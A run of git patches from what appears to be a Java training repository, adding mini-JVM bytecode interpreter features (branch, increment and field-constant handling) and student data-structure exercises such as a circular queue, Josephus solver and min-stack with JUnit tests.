 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/test/Example.java
 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/test/HourlyEmployee.java

diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/QuickMinStack.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/QuickMinStack.java
index b55762e8af..faf2644ab1 100644
--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/QuickMinStack.java
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/QuickMinStack.java
@@ -36,6 +36,9 @@ public int pop(){
 		return value;
 	}
 	public int findMin(){
+		if(minNumStack.isEmpty()){
+			throw new RuntimeException("the stack is empty");
+		}
 		return minNumStack.peek();
 	}
 }
\ No newline at end of file
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/attr/ConstantValue.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/attr/ConstantValue.java
new file mode 100644
index 0000000000..9b23856bf4
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/attr/ConstantValue.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.attr;
+
+public class ConstantValue extends AttributeInfo {
+
+	private int constValueIndex;
+	
+	public ConstantValue(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	public int getConstValueIndex() {
+		return constValueIndex;
+	}
+	public void setConstValueIndex(int constValueIndex) {
+		this.constValueIndex = constValueIndex;
+	}
+	
+	
+
+}
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ByteCodeCommand.java
index 6b8f2e6348..e6af5b0a3f 100644
--- a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -55,6 +55,10 @@ public abstract class ByteCodeCommand {
 	static{
 		codeMap.put("01", "aconst_null");
 		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		codeMap.put("A7", "goto");
+		
 		codeMap.put("BB", "new");
 		codeMap.put("37", "lstore");
 		codeMap.put("B7", "invokespecial");
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/CommandParser.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/CommandParser.java
index f2ea2147fa..60fc52cc59 100644
--- a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/CommandParser.java
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/CommandParser.java
@@ -66,7 +66,20 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
 				cmd.setOperand(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (ByteCodeCommand.dup.equals(opCode) 
+			}else if(ByteCodeCommand.if_icmp_ge.equals(opCode) 
+					|| ByteCodeCommand.if_icmple.equals(opCode) 
+					|| ByteCodeCommand.goto_no_condition.equals(opCode)){
+				ComparisonCmd cmd = new ComparisonCmd(clzFile,opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if(ByteCodeCommand.iinc.equals(opCode)){
+				IncrementCmd cmd = new IncrementCmd(clzFile,opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			}
+			else if (ByteCodeCommand.dup.equals(opCode) 
 					|| ByteCodeCommand.aload_0.equals(opCode) 
 					|| ByteCodeCommand.aload_1.equals(opCode) 
 					|| ByteCodeCommand.aload_2.equals(opCode)
@@ -74,8 +87,14 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 					|| ByteCodeCommand.iload_2.equals(opCode) 
 					|| ByteCodeCommand.iload_3.equals(opCode)
 					|| ByteCodeCommand.fload_3.equals(opCode) 
+					|| ByteCodeCommand.iconst_0.equals(opCode)
+					|| ByteCodeCommand.iconst_1.equals(opCode)
+					|| ByteCodeCommand.istore_1.equals(opCode)
+					|| ByteCodeCommand.istore_2.equals(opCode)
 					|| ByteCodeCommand.voidreturn.equals(opCode) 
-					|| ByteCodeCommand.astore_1.equals(opCode)) {
+					|| ByteCodeCommand.iadd.equals(opCode)
+					|| ByteCodeCommand.astore_1.equals(opCode)
+					|| ByteCodeCommand.ireturn.equals(opCode)) {
 
 				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
 				cmds.add(cmd);
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ComparisonCmd.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ComparisonCmd.java
new file mode 100644
index 0000000000..fd900ceaea
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ComparisonCmd.java
@@ -0,0 +1,78 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class ComparisonCmd extends TwoOperandCmd {
+
+	protected ComparisonCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+
+	
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {		
+		
+		if(ByteCodeCommand.if_icmp_ge.equals(this.getOpCode())){
+			//注意次序
+			JavaObject jo2 = frame.getOprandStack().pop();
+			JavaObject jo1 = frame.getOprandStack().pop();
+			
+			if(jo1.getIntValue() >= jo2.getIntValue()){
+				
+				this.setJumpResult(result);
+				
+			}
+			
+		} else if(ByteCodeCommand.if_icmple.equals(this.getOpCode())){
+			//注意次序
+			JavaObject jo2 = frame.getOprandStack().pop();
+			JavaObject jo1 = frame.getOprandStack().pop();
+			
+			if(jo1.getIntValue() <= jo2.getIntValue()){
+				this.setJumpResult(result);
+			}
+			
+		} else if(ByteCodeCommand.goto_no_condition.equals(this.getOpCode())){
+			this.setJumpResult(result);
+			
+		} else{
+			throw new RuntimeException(this.getOpCode() + "has not been implemented");
+		}
+		
+		
+		
+		
+	}
+
+	private int getOffsetFromStartCmd(){
+		//If the comparison succeeds, the unsigned branchbyte1 and branchbyte2
+		//are used to construct a signed 16-bit offset, where the offset is calculated
+		//to be (branchbyte1 << 8) | branchbyte2. Execution then proceeds at that
+		//offset from the address of the opcode of this if_icmp<cond> instruction
+		
+	
+		int index1 = this.getOprand1();
+		int index2 = this.getOprand2();
+		short offsetFromCurrent = (short)(index1 << 8 | index2);				
+		return this.getOffset() + offsetFromCurrent ;
+	}
+	private void setJumpResult(ExecutionResult result){
+		
+		int offsetFromStartCmd = this.getOffsetFromStartCmd();		
+		
+		result.setNextAction(ExecutionResult.JUMP);
+		result.setNextCmdOffset(offsetFromStartCmd);
+	}
+
+	@Override
+	public String toString() {
+		int index = this.getIndex();
+		String text = this.getReadableCodeText();
+		return this.getOffset()+":"+ this.getOpCode() + " "+text + " " + this.getOffsetFromStartCmd();
+	}
+
+}
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/IncrementCmd.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/IncrementCmd.java
new file mode 100644
index 0000000000..dda40bc74d
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/IncrementCmd.java
@@ -0,0 +1,38 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class IncrementCmd extends TwoOperandCmd {
+
+	public IncrementCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+		
+		return this.getOffset()+":"+this.getOpCode()+ " " +this.getReadableCodeText();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		int index = this.getOprand1();
+		
+		int constValue = this.getOprand2();
+		
+		int currentValue = frame.getLocalVariableValue(index).getIntValue();
+		
+		JavaObject jo = Heap.getInstance().newInt(constValue+currentValue);
+		
+		frame.setLocalVariableValue(index, jo);
+		
+
+	}
+
+}
\ No newline at end of file
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/field/Field.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/field/Field.java
index c6eb0196f8..e1e4723aa0 100644
--- a/liuxin/mini-jvm/answer/src/com/coderising/jvm/field/Field.java
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/field/Field.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.field;
 
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.ConstantValue;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
@@ -10,9 +12,8 @@ public class Field {
 	private int nameIndex;
 	private int descriptorIndex;
 	
-	
-	
 	private ConstantPool pool;
+	private ConstantValue constValue;
 	
 	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
 		
@@ -40,11 +41,24 @@ public static Field parse(ConstantPool pool,ByteCodeIterator iter){
 		
 		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
 		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
+		for( int i=1; i<= attribCount; i++){
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = pool.getUTF8String(attrNameIndex);
+						
+			if(AttributeInfo.CONST_VALUE.equals(attrName)){
+				int attrLen = iter.nextU4ToInt();
+				ConstantValue constValue = new ConstantValue(attrNameIndex, attrLen);
+				constValue.setConstValueIndex(iter.nextU2ToInt());				
+				f.setConstantValue(constValue);
+			} else{
+				throw new RuntimeException("the attribute " + attrName + " has not been implemented yet.");
+			}
 		}
 		
 		return f;
 	}
+	public void setConstantValue(ConstantValue constValue) {
+		this.constValue = constValue;
+	}
 
 }
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/EmployeeV2.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/EmployeeV2.java
new file mode 100644
index 0000000000..039800d2b1
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/EmployeeV2.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV2 {
+
+	public final static String TEAM_NAME = "Dev Team";
+	private String name;
+	private int age;
+	public EmployeeV2(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }
+
+	public void sayHello() {
+		System.out.println("Hello , this is class Employee ");
+		System.out.println(TEAM_NAME);
+		System.out.println(this.name);
+	}
+	
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setAge(int age) {
+		this.age = age;
+	}
+
+	
+
+	public void isYouth() {
+		if (age < 40) {
+			System.out.println("You're still young");
+		} else {
+			System.out.println("You're old");
+		}
+	}
+	
+	
+
+	public void testAdd() {
+		int sum = 0;
+		for (int i = 1; i <= 100; i++) {
+			sum += i;
+		}
+		System.out.println(sum);
+	}
+
+	
+	public static void main(String[] args) {
+		EmployeeV2 p = new EmployeeV2("Andy", 35);
+		p.sayHello();
+		p.isYouth();
+		p.testAdd();
+	}
+}
\ No newline at end of file
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/Example.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/Example.java
new file mode 100644
index 0000000000..7763e38d1e
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/Example.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.test;
+
+public class Example{
+    public void disp(char c){
+        System.out.println(c);
+    }
+    public void disp(int c){
+       System.out.println(c );
+    }
+    public static void main(String args[]){
+        Example obj = new Example();
+        obj.disp('a');
+        obj.disp(5);
+    }
+}
+
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/HourlyEmployee.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/HourlyEmployee.java
new file mode 100644
index 0000000000..d26e097a82
--- /dev/null
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/HourlyEmployee.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.test;
+
+public class HourlyEmployee extends EmployeeV2 {
+
+	int hourlySalary;
+	
+	public HourlyEmployee(String name, 
+			int age, int hourlySalary) {
+		super(name, age);
+		this.hourlySalary = hourlySalary;
+	}
+	
+	public void sayHello(){		
+		System.out.println("Hello , this is Hourly Employee");		
+	}
+	public static void main(String[] args){
+		EmployeeV2 e = new HourlyEmployee("Lisa", 20, 40);	
+		e.sayHello();		
+	}
+	
+	public int getHourlySalary(){
+		return this.hourlySalary;
+	}
+	
+
+
+}
diff --git a/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/MiniJVMTest.java b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/MiniJVMTest.java
index 787c0d954d..48b1383c2a 100644
--- a/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/MiniJVMTest.java
+++ b/liuxin/mini-jvm/answer/src/com/coderising/jvm/test/MiniJVMTest.java
@@ -21,7 +21,7 @@ public void tearDown() throws Exception {
 	public void testMain() throws Exception{
 		String[] classPaths = {PATH};
 		MiniJVM jvm = new MiniJVM();
-		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		jvm.run(classPaths, "com.coderising.jvm.test.HourlyEmployee");
 		
 	}
 

From a02369f29ea33c72afd3c4e66624def8611b8bff Mon Sep 17 00:00:00 2001
From: onlyliuxin <14703250@qq.com>
Date: Fri, 12 May 2017 17:18:11 +0800
Subject: [PATCH 257/262] refactor

---
 .../src/com/coding/basic/BinaryTreeNode.java  | 32 -------------------
 1 file changed, 32 deletions(-)
 delete mode 100644 liuxin/data-structure/answer/src/com/coding/basic/BinaryTreeNode.java

diff --git a/liuxin/data-structure/answer/src/com/coding/basic/BinaryTreeNode.java b/liuxin/data-structure/answer/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/liuxin/data-structure/answer/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}

From 457e0567c06deded14d510f237f4448f4b840dd0 Mon Sep 17 00:00:00 2001
From: onlyliuxin <14703250@qq.com>
Date: Sun, 14 May 2017 12:44:39 +0800
Subject: [PATCH 258/262] add missing files

---
 .../answer/src/com/coderising/litestruts/struts.xml   | 11 +++++++++++
 liuxin/data-structure/assignment/.gitignore           |  1 +
 .../src/com/coderising/litestruts/struts.xml          | 11 +++++++++++
 3 files changed, 23 insertions(+)
 create mode 100644 liuxin/data-structure/answer/src/com/coderising/litestruts/struts.xml
 create mode 100644 liuxin/data-structure/assignment/.gitignore
 create mode 100644 liuxin/data-structure/assignment/src/com/coderising/litestruts/struts.xml

diff --git a/liuxin/data-structure/answer/src/com/coderising/litestruts/struts.xml b/liuxin/data-structure/answer/src/com/coderising/litestruts/struts.xml
new file mode 100644
index 0000000000..4c6eeabbd4
--- /dev/null
+++ b/liuxin/data-structure/answer/src/com/coderising/litestruts/struts.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+    <action name="login" class="com.coderising.litestruts.LoginAction">
+        <result name="success">/jsp/homepage.jsp</result>
+        <result name="fail">/jsp/showLogin.jsp</result>
+    </action>
+    <action name="logout" class="com.coderising.litestruts.LogoutAction">
+    	<result name="success">/jsp/welcome.jsp</result>
+    	<result name="error">/jsp/error.jsp</result>
+    </action>
+</struts>
\ No newline at end of file
diff --git a/liuxin/data-structure/assignment/.gitignore b/liuxin/data-structure/assignment/.gitignore
new file mode 100644
index 0000000000..3e2fcc7171
--- /dev/null
+++ b/liuxin/data-structure/assignment/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/liuxin/data-structure/assignment/src/com/coderising/litestruts/struts.xml b/liuxin/data-structure/assignment/src/com/coderising/litestruts/struts.xml
new file mode 100644
index 0000000000..4c6eeabbd4
--- /dev/null
+++ b/liuxin/data-structure/assignment/src/com/coderising/litestruts/struts.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+    <action name="login" class="com.coderising.litestruts.LoginAction">
+        <result name="success">/jsp/homepage.jsp</result>
+        <result name="fail">/jsp/showLogin.jsp</result>
+    </action>
+    <action name="logout" class="com.coderising.litestruts.LogoutAction">
+    	<result name="success">/jsp/welcome.jsp</result>
+    	<result name="error">/jsp/error.jsp</result>
+    </action>
+</struts>
\ No newline at end of file

From d1548fb823b0fa07e188c6d329fec83efa9de031 Mon Sep 17 00:00:00 2001
From: liangduoduo666666 <798277403@qq.com>
Date: Sun, 14 May 2017 21:46:44 +0800
Subject: [PATCH 259/262] =?UTF-8?q?zl=E7=9A=84=E5=85=AB=E4=B9=9D=E5=91=A8?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E8=A1=A5=E4=BA=A4=EF=BC=8C=E5=AE=9E=E7=8E=B0?=
 =?UTF-8?q?jvm=E6=89=A7=E8=A1=8C=E5=BC=95=E6=93=8E?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/basic/queue/CircleQueue.java          |  61 ++++++++
 .../src/basic/queue/CircleQueueTest.java      |  45 ++++++
 .../798277403/src/basic/queue/Josephus.java   |  35 +++++
 .../src/basic/queue/JosephusTest.java         |  27 ++++
 group24/798277403/src/basic/queue/Queue.java  |  61 ++++++++
 .../src/basic/queue/QueueWithTwoStacks.java   |  49 +++++++
 .../src/basic/stack/QuickMinStack.java        |  36 +++++
 .../src/basic/stack/QuickMinStackTest.java    |  39 +++++
 .../src/basic/stack/StackWithTwoQueues.java   |  41 ++++++
 .../basic/stack/StackWithTwoQueuesTest.java   |  36 +++++
 .../src/basic/stack/TwoStackInOneArray.java   | 116 +++++++++++++++
 .../basic/stack/TwoStackInOneArrayTest.java   |  65 +++++++++
 .../798277403/src/mini_jvm/attr/CodeAttr.java |   2 +-
 .../798277403/src/mini_jvm/cmd/BiPushCmd.java |  18 ++-
 .../src/mini_jvm/cmd/ByteCodeCommand.java     |   3 +-
 .../src/mini_jvm/cmd/GetFieldCmd.java         |  18 ++-
 .../src/mini_jvm/cmd/GetStaticFieldCmd.java   |  23 ++-
 .../src/mini_jvm/cmd/InvokeSpecialCmd.java    |  23 ++-
 .../src/mini_jvm/cmd/InvokeVirtualCmd.java    |  56 +++++++-
 .../798277403/src/mini_jvm/cmd/LdcCmd.java    |  30 ++--
 .../src/mini_jvm/cmd/NewObjectCmd.java        |  20 ++-
 .../src/mini_jvm/cmd/NoOperandCmd.java        | 136 ++++++++++++++++--
 .../src/mini_jvm/cmd/OneOperandCmd.java       |   3 -
 .../src/mini_jvm/cmd/PutFieldCmd.java         |  26 +++-
 .../src/mini_jvm/cmd/TwoOperandCmd.java       |  24 ++--
 .../src/mini_jvm/constant/MethodRefInfo.java  |   3 +
 .../src/mini_jvm/engine/ExecutorEngine.java   |  59 +++++++-
 .../src/mini_jvm/engine/MethodArea.java       |  30 ++--
 .../src/mini_jvm/engine/MiniJVM.java          |  10 +-
 .../src/mini_jvm/engine/StackFrame.java       |  49 ++++++-
 .../src/mini_jvm/loader/ClassFileParser.java  |  10 +-
 .../798277403/src/mini_jvm/method/Method.java |  61 ++++++++
 .../mini_jvm/test/ClassFileloaderTest.java    |  12 +-
 .../src/mini_jvm/test/MiniJVMTest.java        |  28 ++++
 34 files changed, 1151 insertions(+), 104 deletions(-)
 create mode 100644 group24/798277403/src/basic/queue/CircleQueue.java
 create mode 100644 group24/798277403/src/basic/queue/CircleQueueTest.java
 create mode 100644 group24/798277403/src/basic/queue/Josephus.java
 create mode 100644 group24/798277403/src/basic/queue/JosephusTest.java
 create mode 100644 group24/798277403/src/basic/queue/Queue.java
 create mode 100644 group24/798277403/src/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group24/798277403/src/basic/stack/QuickMinStack.java
 create mode 100644 group24/798277403/src/basic/stack/QuickMinStackTest.java
 create mode 100644 group24/798277403/src/basic/stack/StackWithTwoQueues.java
 create mode 100644 group24/798277403/src/basic/stack/StackWithTwoQueuesTest.java
 create mode 100644 group24/798277403/src/basic/stack/TwoStackInOneArray.java
 create mode 100644 group24/798277403/src/basic/stack/TwoStackInOneArrayTest.java
 create mode 100644 group24/798277403/src/mini_jvm/test/MiniJVMTest.java

diff --git a/group24/798277403/src/basic/queue/CircleQueue.java b/group24/798277403/src/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..179b75d201
--- /dev/null
+++ b/group24/798277403/src/basic/queue/CircleQueue.java
@@ -0,0 +1,61 @@
+package basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+
+    private int size = 0;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+
+    public CircleQueue(){
+        elementData = new Object[DEFAULT_SIZE] ;
+    }
+
+    public CircleQueue(int size){
+        elementData = new Object[size];
+    }
+
+	public boolean isEmpty() {
+		return size==0;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public boolean isFull(){
+        return  size == elementData.length;
+    }
+
+    public void enQueue(E data) {
+        if(isFull()){
+            throw new RuntimeException("The queue is full");
+        }
+        elementData[rear] = data;
+        rear = (rear+1)%elementData.length;
+        size++;
+    }
+
+    public E deQueue() {
+        if(isEmpty()){
+            throw new RuntimeException("The queue is empty");
+        }
+        E data = (E)elementData[front];
+        elementData[front] = null;
+        front  = (front+1) % elementData.length;
+        size--;
+        return data;
+    }
+}
diff --git a/group24/798277403/src/basic/queue/CircleQueueTest.java b/group24/798277403/src/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..d0181ecaf7
--- /dev/null
+++ b/group24/798277403/src/basic/queue/CircleQueueTest.java
@@ -0,0 +1,45 @@
+package basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		queue.enQueue("f");
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}
diff --git a/group24/798277403/src/basic/queue/Josephus.java b/group24/798277403/src/basic/queue/Josephus.java
new file mode 100644
index 0000000000..527e51517c
--- /dev/null
+++ b/group24/798277403/src/basic/queue/Josephus.java
@@ -0,0 +1,35 @@
+package basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死，然后再由下一个重新报数, 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		Queue<Integer> queue = new Queue<Integer>();
+		List<Integer> result = new ArrayList<Integer>();
+
+		for(int i=0; i<n; i++){
+			queue.enQueue(i);
+		}
+		int temp = 0;
+		while(!queue.isEmpty()){
+			temp++;
+			int current = queue.deQueue();
+			if(temp%m==0){
+				result.add(current);
+			}else {
+				queue.enQueue(current);
+			}
+		}
+		return result;
+	}
+	
+}
diff --git a/group24/798277403/src/basic/queue/JosephusTest.java b/group24/798277403/src/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..013803b88e
--- /dev/null
+++ b/group24/798277403/src/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group24/798277403/src/basic/queue/Queue.java b/group24/798277403/src/basic/queue/Queue.java
new file mode 100644
index 0000000000..8d595e1480
--- /dev/null
+++ b/group24/798277403/src/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group24/798277403/src/basic/queue/QueueWithTwoStacks.java b/group24/798277403/src/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..7795b94580
--- /dev/null
+++ b/group24/798277403/src/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,49 @@
+package basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+    public int size() {
+        return stack1.size()+stack2.size();
+    }
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if(isEmpty()){
+            throw  new RuntimeException("The queue is empty");
+        }
+        E date = null;
+        if(!stack2.isEmpty()){
+            date = stack2.pop();
+        }else{
+            while(!stack1.isEmpty()){
+                stack2.push(stack1.pop());
+            }
+            date = stack2.pop();
+        }
+        return date;
+    }
+
+ }
+
diff --git a/group24/798277403/src/basic/stack/QuickMinStack.java b/group24/798277403/src/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..6124896e17
--- /dev/null
+++ b/group24/798277403/src/basic/stack/QuickMinStack.java
@@ -0,0 +1,36 @@
+package basic.stack;
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	Stack<Integer> stackNum = new Stack<>();
+	Stack<Integer> stackMin = new Stack<>();
+	public void push(int data){
+		stackNum.push(data);
+		if(stackMin.isEmpty() || stackMin.peek()>=data){
+			stackMin.push(data);
+		}
+	}
+
+	public int pop(){
+		if(stackNum.size()<=0){
+			throw new RuntimeException("The stack is empty!");
+		}
+		int result = stackNum.pop();
+		if(result==stackMin.peek()){
+			stackMin.pop();
+		}
+		return result;
+	}
+
+	public int findMin(){
+		return stackMin.peek();
+	}
+
+}
diff --git a/group24/798277403/src/basic/stack/QuickMinStackTest.java b/group24/798277403/src/basic/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..b89e4fffa0
--- /dev/null
+++ b/group24/798277403/src/basic/stack/QuickMinStackTest.java
@@ -0,0 +1,39 @@
+package basic.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class QuickMinStackTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		QuickMinStack stack = new QuickMinStack();
+		stack.push(5);
+		Assert.assertEquals(5, stack.findMin());
+		stack.push(6);
+		Assert.assertEquals(5, stack.findMin());
+		stack.push(4);
